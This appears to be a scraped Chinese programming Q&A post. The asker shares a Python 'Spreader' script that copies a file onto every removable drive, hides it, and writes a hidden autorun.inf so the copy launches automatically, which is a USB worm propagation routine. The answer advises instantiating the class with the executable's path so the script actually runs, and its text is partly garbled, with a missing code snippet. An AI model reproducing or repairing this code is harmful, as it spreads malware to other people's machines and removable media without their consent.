你好,我正试图编译这段代码,但我没有让它编译任何东西,我没有得到任何编译错误,但也没有结果,文件夹只与.py文件
import win32api
import win32con
import win32file
import sys
import os
class Spreader(object):
def __init__(self, path): # path must be absolute
print (" [*] Checking information")
self.filename = path.split("\\")[-1]
self.driveFilename = self.filename
if not self.driveFilename.startswith("~"):
self.driveFilename = "~" + self.driveFilename
print ("\t- Local filename: ") + self.filename
print ("\t- Driver filename: ") + self.driveFilename
self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename
print ("\t- Full path: ") + self.path
print ("\n [*] Getting removable drives")
self.drives = self.__getRemovableDrives()
if len(self.drives) == None:
print (" [-] No removable drives available")
sys.exit()
for drive in self.drives:
print ("\t- ") + drive
print ("\n [*] Spreading")
self.__spread()
print ("\n [+] Successfully spread")
def __getRemovableDrives(self):
removableDrives = []
drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]
for drive in drives:
driveType = win32file.GetDriveType(drive)
if driveType == win32file.DRIVE_REMOVABLE:
removableDrives.append(drive)
return removableDrives
def __spread(self):
for drive in self.drives:
if drive == "A:\\":
continue
else:
driveFile = drive + self.driveFilename
driveAutorun = drive + "autorun.inf"
print (" [+] ") + drive
if not os.path.exists(driveFile):
self.__copyFile(driveFile)
if not os.path.exists(driveAutorun):
self.__createAutorun(driveAutorun)
def __copyFile(self, driveFile):
print ("\t- Copying file: ") + self.driveFilename,
win32file.CopyFile(self.path, driveFile, 0)
print ("\t\t\tDONE")
print ("\t- Hidding file"),
win32api.SetFileAttributes(driveFile,\
win32con.FILE_ATTRIBUTE_HIDDEN)
print ("\t\t\tDONE")
def __createAutorun(self, driveAutorun):
print ("\t- Creating autorun.inf"),
autorun = open(driveAutorun, "w")
content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
autorun.write(content)
autorun.close()
print ("\t\t\tDONE")
print ("\t- Hidding autorun"),
win32api.SetFileAttributes(driveAutorun,\
win32con.FILE_ATTRIBUTE_HIDDEN)
print ("\t\t\tDONE")
有人能帮我吗?在
您已经编写了代码,但您从未在任何地方调用类及其方法。因此,python只创建类对象etc,然后对它不做任何其他操作,因为没有更多的指令要执行。在
我认为,至少应该添加以下代码,以查看代码给出的输出/错误:
请注意,您正在使用
__method
约定创建方法名,即means they are being name scrambled。在因为您正在复制文件,所以您可以给出实际的文件路径(被复制的exe的完整路径)来代替上面的
some_path
,这应该可以。如果没有,则需要使用pdb
进行更深入的调试。在最后,需要将^{} block 放在脚本的末尾。在
相关问题 更多 >
编程相关推荐